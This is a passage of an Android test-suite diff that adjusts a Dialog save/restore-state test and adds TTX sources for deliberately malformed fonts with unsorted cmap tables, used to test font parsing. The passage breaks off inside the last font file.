         saveInstanceState = super.onSaveInstanceState();
-        onSaveInstanceStateObserver.onObserved();
         return saveInstanceState;
     }
 
     @Override
     public void onRestoreInstanceState(Bundle savedInstanceState) {
+        isOnRestoreInstanceStateCalled = true;
         this.savedInstanceState = savedInstanceState;
-        onRestoreInstanceStateObserver.onObserved();
+
         super.onRestoreInstanceState(savedInstanceState);
     }
 
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index 17f7a40..fa22ce4 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -209,10 +209,13 @@
         assertFalse(d.isShowing());
     }
 
-    public void testOnSaveInstanceState() throws InterruptedException {
+    public void testOnSaveInstanceState() {
         startDialogActivity(DialogStubActivity.TEST_ONSTART_AND_ONSTOP);
         final TestDialog d = (TestDialog) mActivity.getDialog();
 
+        assertFalse(d.isOnSaveInstanceStateCalled);
+        assertFalse(TestDialog.isOnRestoreInstanceStateCalled);
+
         //skip if the device doesn't support both of portrait and landscape orientation screens.
         final PackageManager pm = mContext.getPackageManager();
         if(!(pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
@@ -220,11 +223,10 @@
             return;
         }
 
-        d.onSaveInstanceStateObserver.startObserving();
-        TestDialog.onRestoreInstanceStateObserver.startObserving();
-        OrientationTestUtils.toggleOrientation(mActivity);
-        d.onSaveInstanceStateObserver.await();
-        TestDialog.onRestoreInstanceStateObserver.await();
+        OrientationTestUtils.toggleOrientationSync(mActivity, mInstrumentation);
+
+        assertTrue(d.isOnSaveInstanceStateCalled);
+        assertTrue(TestDialog.isOnRestoreInstanceStateCalled);
     }
 
     public void testGetCurrentFocus() throws Throwable {
diff --git a/tests/tests/dpi/AndroidManifest.xml b/tests/tests/dpi/AndroidManifest.xml
index 6335fe9..118050e 100644
--- a/tests/tests/dpi/AndroidManifest.xml
+++ b/tests/tests/dpi/AndroidManifest.xml
@@ -19,7 +19,7 @@
     package="android.dpi.cts">
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <application android:resizeableActivity="false">
+    <application>
         <uses-library android:name="android.test.runner" />
 
         <activity android:name="android.dpi.cts.OrientationActivity"
diff --git a/tests/tests/graphics/assets/unsorted_cmap12.ttf b/tests/tests/graphics/assets/unsorted_cmap12.ttf
new file mode 100644
index 0000000..d9587df
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap12.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap12.ttx b/tests/tests/graphics/assets/unsorted_cmap12.ttx
new file mode 100644
index 0000000..6444903
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap12.ttx
@@ -0,0 +1,199 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="0" nGroups="0" platformID="3" platEncID="10" language="0">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap12.ttf -->
+      <hexdata>
+        00 0c  <!-- format: 12 -->
+        00 00  <!-- reserved -->
+        00 00 00 28  <!-- length: 40 bytes -->
+        00 00 00 00  <!-- langauge -->
+        00 00 00 02  <!-- num of groups -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        <!-- start of the first group -->
+        00 00 04 00  <!-- start code point -->
+        00 00 04 00  <!-- end code point -->
+        00 00 00 01  <!-- start glyph ID -->
+
+        <!-- start of the second group -->
+        00 00 01 00  <!-- start code point -->
+        00 00 01 00  <!-- end code point -->
+        00 00 00 01  <!-- start glyph ID -->
+      </hexdata>
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format12 Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format12 Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat12Font-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttf b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttf
new file mode 100644
index 0000000..83801fc
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttx b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttx
new file mode 100644
index 0000000..310a487
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_default_uvs.ttx
@@ -0,0 +1,197 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_14 format="14" platformID="0" platEncID="5" length="0" numVarSelectorRecords="1">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap14_default_uvs.ttf -->
+      <hexdata>
+        00 0e  <!-- format: 14 -->
+        00 00 00 21  <!-- length: 33 bytes -->
+        00 00 00 01  <!-- number of variation selectors -->
+
+        <!-- 1st variation selector record -->
+        00 fe 00  <!-- variation selector -->
+        00 00 00 15  <!-- the offset to the default UVS table -->
+        00 00 00 00  <!-- the offset to the non default UVS table (no table) -->
+
+        <!-- start of default UVS table -->
+        00 00 00 02  <!-- number of range record -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        00 04 00  <!-- Unicode code point. -->
+        00  <!-- number of additional following code points -->
+        00 01 00  <!-- Unicode code point. -->
+        00  <!-- number of additional following code points -->
+      </hexdata>
+    </cmap_format_14>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat14DefaultUVSTableFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttf b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttf
new file mode 100644
index 0000000..92aadc2
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttx b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttx
new file mode 100644
index 0000000..0c0cb77
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap14_non_default_uvs.ttx
@@ -0,0 +1,200 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_14 format="14" platformID="0" platEncID="5" length="0" numVarSelectorRecords="1">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap14_non_default_uvs.ttf -->
+      <hexdata>
+        00 0e <!-- format: 14 -->
+        00 00 00 23  <!-- length: 35 bytes -->
+        00 00 00 01  <!-- number of variation selectors -->
+
+        <!-- 1st variation selector record -->
+        00 fe 00  <!-- variation selector -->
+        00 00 00 00  <!-- the offset to the default UVS table (no table) -->
+        00 00 00 15  <!-- the offset to the non default UVS table -->
+
+        <!-- start of default UVS table -->
+        00 00 00 02  <!-- number of mapping record -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        00 04 00  <!-- Unicode code point. -->
+        00 01  <!-- glyph ID -->
+        00 01 00  <!-- Unicode code point. -->
+        00 01  <!-- glyph ID -->
+      </hexdata>
+    </cmap_format_14>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Non-Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format14 Non-Default UVS Table Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat14NonDefaultUVSTableFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/unsorted_cmap4.ttf b/tests/tests/graphics/assets/unsorted_cmap4.ttf
new file mode 100644
index 0000000..8ceeb4e
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap4.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/unsorted_cmap4.ttx b/tests/tests/graphics/assets/unsorted_cmap4.ttx
new file mode 100644
index 0000000..8b16955
--- /dev/null
+++ b/tests/tests/graphics/assets/unsorted_cmap4.ttx
@@ -0,0 +1,197 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="0x00010000"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap4.ttf -->
+      <hexdata>
+        00 04  <!-- format: 4 -->
+        00 28  <!-- length: 40 bytes -->
+        00 00  <!-- language -->
+        00 06  <!-- segment count -->
+        00 04  <!-- search range -->
+        00 01  <!-- entry selector -->
+        00 02  <!-- range shift -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        04 00 01 00 ff ff  <!-- end code points -->
+        00 00  <!-- reserved -->
+        04 00 01 00 ff ff  <!-- start code points -->
+        ff 01 fc 01 00 01  <!-- delta to glyph ID -->
+        00 00 00 00 00 00  <!-- glyph ID range offset -->
+      </hexdata>
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
